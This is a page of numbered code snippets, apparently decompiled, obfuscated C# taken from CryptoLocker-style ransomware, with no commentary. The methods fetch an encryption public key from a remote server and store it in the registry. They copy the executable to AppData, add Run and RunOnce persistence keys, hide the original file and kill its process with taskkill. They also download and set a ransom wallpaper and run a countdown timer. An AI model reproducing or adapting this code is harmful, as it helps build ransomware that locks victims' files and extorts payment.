Exemple #1
0
    public int method_22()
    {
        RegistryKey object_ = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Files"));

        string[] array = Delegate182.smethod_0(object_);
        return(array.Length - 1);
    }
Exemple #2
0
    public bool method_12(string string_7)
    {
        bool   flag  = false;
        string text  = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");
        string text2 = (string)Delegate169.smethod_0(text, "Public", "");

        if (Delegate98.smethod_1(text2, ""))
        {
            while (!flag)
            {
                string text3 = this.method_9(49, Delegate179.smethod_0(new object[]
                {
                    ":",
                    this.int_2,
                    ":",
                    this.int_3
                }));
                string object_ = this.method_8(Delegate124.smethod_0(string_7, text3));
                if (Delegate98.smethod_0(object_, ""))
                {
                    Delegate127.smethod_0(text, "Public", object_, RegistryValueKind.String);
                    return(true);
                }
                Delegate104.smethod_0(this.int_1);
            }
            return(false);
        }
        Delegate100.smethod_2("Public already exsits");
        return(true);
    }
Exemple #3
0
    public void method_11(string string_7)
    {
        string text  = this.method_9(53, "");
        string text2 = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");
        string text3 = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".img");

        try
        {
            WebRequest object_ = Delegate155.smethod_0(Delegate124.smethod_0(string_7, text));
            Delegate157.smethod_0(object_, Delegate156.smethod_0());
            HttpWebResponse object_2 = (HttpWebResponse)Delegate158.smethod_0(object_);
            BinaryReader    object_3 = Delegate31.smethod_0(Delegate159.smethod_0(object_2));
            byte[]          array    = Delegate176.smethod_0(object_3, 10485760);
            using (FileStream fileStream = Delegate32.smethod_0(text3, FileMode.Create))
            {
                Delegate177.smethod_0(fileStream, array, 0, array.Length);
            }
            byte[] object_4 = Delegate146.smethod_1(text3);
            Delegate127.smethod_0(text2, "Wallpaper", object_4, RegistryValueKind.Binary);
            Delegate178.smethod_0(object_3);
            Delegate163.smethod_0(object_2);
            Delegate100.smethod_1(text3);
            Delegate104.smethod_0(this.int_1);
        }
        catch (WebException)
        {
        }
    }
Exemple #4
0
        private void method_0(object sender, EventArgs e)
        {
            Form4.Class1 @class = new Form4.Class1();
            @class.form4_0 = this;
            this.gclass0_0.method_7();
            this.string_0   = this.gclass0_0.method_20();
            @class.string_0 = Delegate88.smethod_0("http://", this.gclass0_0.method_4(), "/");
            Delegate102.smethod_0(this.progressBar_1, 30);
            Thread object_ = Delegate16.smethod_0(new ThreadStart(@class.method_0));

            Delegate103.smethod_0(object_);
        }
Exemple #5
0
 private void method_3(object sender, EventArgs e)
 {
     this.string_0 = Delegate88.smethod_0("http://", this.gclass0_0.method_4(), "/");
     this.gclass0_0.method_15(this.string_0);
     this.gclass0_0.dateTime_0 = Delegate89.smethod_0().AddSeconds((double)this.gclass0_0.int_0);
     Delegate90.smethod_0(this.timer_0, 1000);
     Delegate60.smethod_0(this.timer_0, new EventHandler(this.method_4));
     Delegate91.smethod_0(this.timer_0);
     Delegate54.smethod_0(this.label_1, this.gclass0_0.dateTime_0.ToString());
     Delegate102.smethod_0(this.progressBar_0, 30);
     this.method_0();
     this.thread_0 = Delegate16.smethod_0(new ThreadStart(this.method_7));
     Delegate103.smethod_0(this.thread_0);
 }
Exemple #6
0
    public void method_1()
    {
        this.method_7();
        string text    = Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData);
        string string_ = Delegate123.smethod_0(Delegate122.smethod_0(Delegate121.smethod_0()));
        string text2   = Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0()));
        string text3   = Delegate124.smethod_0("/F /IM ", text2);
        string object_ = Delegate125.smethod_0(text, "\\", this.string_3, ".exe");

        this.registryKey_0 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Files"));
        this.registryKey_1 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Keys"));
        if (this.registryKey_1 == null)
        {
            Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"), "", "", RegistryValueKind.String);
        }
        if (this.registryKey_0 == null)
        {
            Delegate127.smethod_0(Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Files"), "", "", RegistryValueKind.String);
        }
        Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", this.string_3, object_, RegistryValueKind.String);
        Delegate127.smethod_0("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Delegate124.smethod_0("*", this.string_3), object_, RegistryValueKind.String);
        Delegate128.smethod_0(string_, FileAttributes.Hidden);
        if (Delegate129.smethod_0(text) && !Delegate129.smethod_1(object_))
        {
            Delegate104.smethod_0(10000);
            try
            {
                Delegate130.smethod_0(string_, object_);
                ProcessStartInfo processStartInfo = Delegate21.smethod_0();
                Delegate131.smethod_0(processStartInfo, object_);
                ProcessStartInfo processStartInfo2 = Delegate21.smethod_0();
                Delegate132.smethod_0(processStartInfo2, false);
                Delegate132.smethod_1(processStartInfo2, true);
                Delegate131.smethod_0(processStartInfo2, "taskkill");
                Delegate131.smethod_1(processStartInfo2, text3);
                Delegate133.smethod_0(processStartInfo);
                GClass0.MoveFileEx(string_, null, 4);
                Delegate133.smethod_0(processStartInfo2);
            }
            catch (Exception)
            {
            }
        }
    }
Exemple #7
0
    public void method_10()
    {
        string string_  = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".img");
        string string_2 = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".bmp");
        string text     = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");

        byte[] byte_ = (byte[])Delegate169.smethod_0(text, "Wallpaper", "Can't receive wallpaper");
        Delegate170.smethod_0(string_, byte_);
        Bitmap object_ = (Bitmap)Delegate171.smethod_0(string_);

        Delegate172.smethod_0(object_, string_2);
        GClass0.SystemParametersInfo(20, 0, string_2, 3);
        RegistryKey object_2 = Delegate173.smethod_0(Registry.CurrentUser, "Control Panel\\Desktop", true);

        Delegate174.smethod_0(object_2, "WallpaperStyle", 0);
        Delegate175.smethod_0(object_2);
        Delegate128.smethod_0(string_, FileAttributes.Hidden);
        Delegate128.smethod_0(string_2, FileAttributes.Hidden);
        GClass0.MoveFileEx(string_, null, 4);
    }
Exemple #8
0
    public bool method_13(string string_7)
    {
        bool   flag  = false;
        string text  = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys");
        string text2 = (string)Delegate169.smethod_0(text, "Private", "");
        string text3 = this.method_9(51, "");

        if (Delegate98.smethod_0(text2, ""))
        {
            flag = true;
        }
        while (!flag)
        {
            string object_ = this.method_8(Delegate124.smethod_0(string_7, text3));
            if (Delegate98.smethod_0(object_, "503"))
            {
                Delegate127.smethod_0(text, "Private", object_, RegistryValueKind.String);
                flag = true;
            }
            Delegate104.smethod_0(this.int_1);
        }
        return(flag);
    }
Exemple #9
0
    public bool method_21(string string_7)
    {
        string      text        = Delegate88.smethod_0(Class3.smethod_1 <string>(1465117900u, 11523132775189630644uL), this.string_3, "\\Files");
        RegistryKey registryKey = Delegate173.smethod_0(Registry.CurrentUser, text, true);

        if (!Delegate129.smethod_1(string_7))
        {
            Delegate198.smethod_0(registryKey, string_7);
            return(false);
        }
        try
        {
            this.method_18(string_7);
        }
        catch (Exception)
        {
        }
        if (registryKey != null)
        {
            Delegate198.smethod_0(registryKey, string_7);
            return(true);
        }
        return(false);
    }
Exemple #10
0
        private void method_1(object sender, EventArgs e)
        {
            ThreadStart   threadStart = null;
            List <string> list_       = new List <string>();

            try
            {
                this.gclass0_0.method_1();
                this.string_0 = Delegate88.smethod_0("http://", this.gclass0_0.method_4(), "/");
            }
            catch (Exception)
            {
            }
            Delegate41.smethod_5(this);
            if (this.gclass0_0.method_12(this.string_0))
            {
                if (threadStart == null)
                {
                    threadStart = new ThreadStart(this.method_9);
                }
                Thread object_ = Delegate16.smethod_0(threadStart);
                Delegate103.smethod_0(object_);
            }
            this.mutex_1 = Delegate17.smethod_0();
            this.mutex_0 = Delegate19.smethod_0(false, "CryptoLocker");
            if (this.gclass0_0.method_12(this.string_0))
            {
                try
                {
                    Delegate106.smethod_0(this.mutex_1);
                    if (this.gclass0_0.method_2(this.string_0, 1) || this.gclass0_0.method_2(this.string_0, 0))
                    {
                        foreach (string current in this.gclass0_0.method_5())
                        {
                            this.gclass0_0.method_19(list_, current);
                        }
                    }
                    this.gclass0_0.method_15(this.string_0);
                    Delegate107.smethod_0(this.mutex_1);
                }
                catch (Exception)
                {
                }
                try
                {
                    Delegate106.smethod_0(this.mutex_0);
                    Delegate106.smethod_0(this.mutex_1);
                }
                catch (AbandonedMutexException)
                {
                }
                Delegate41.smethod_8(this);
                try
                {
                    this.gclass0_0.method_11(this.string_0);
                    this.gclass0_0.method_10();
                }
                catch (Exception)
                {
                }
                this.gclass0_0.dateTime_0 = Delegate89.smethod_0().AddSeconds((double)this.gclass0_0.int_0);
                Delegate90.smethod_0(this.timer_0, 1000);
                Delegate60.smethod_0(this.timer_0, new EventHandler(this.method_2));
                Delegate91.smethod_0(this.timer_0);
                Delegate54.smethod_0(this.label_1, this.gclass0_0.dateTime_0.ToString());
            }
        }
Exemple #11
0
 public string[] method_20()
 {
     this.registryKey_0 = Delegate126.smethod_0(Registry.CurrentUser, Delegate88.smethod_0("Software\\", this.string_3, "\\Files"));
     return(Delegate182.smethod_0(this.registryKey_0));
 }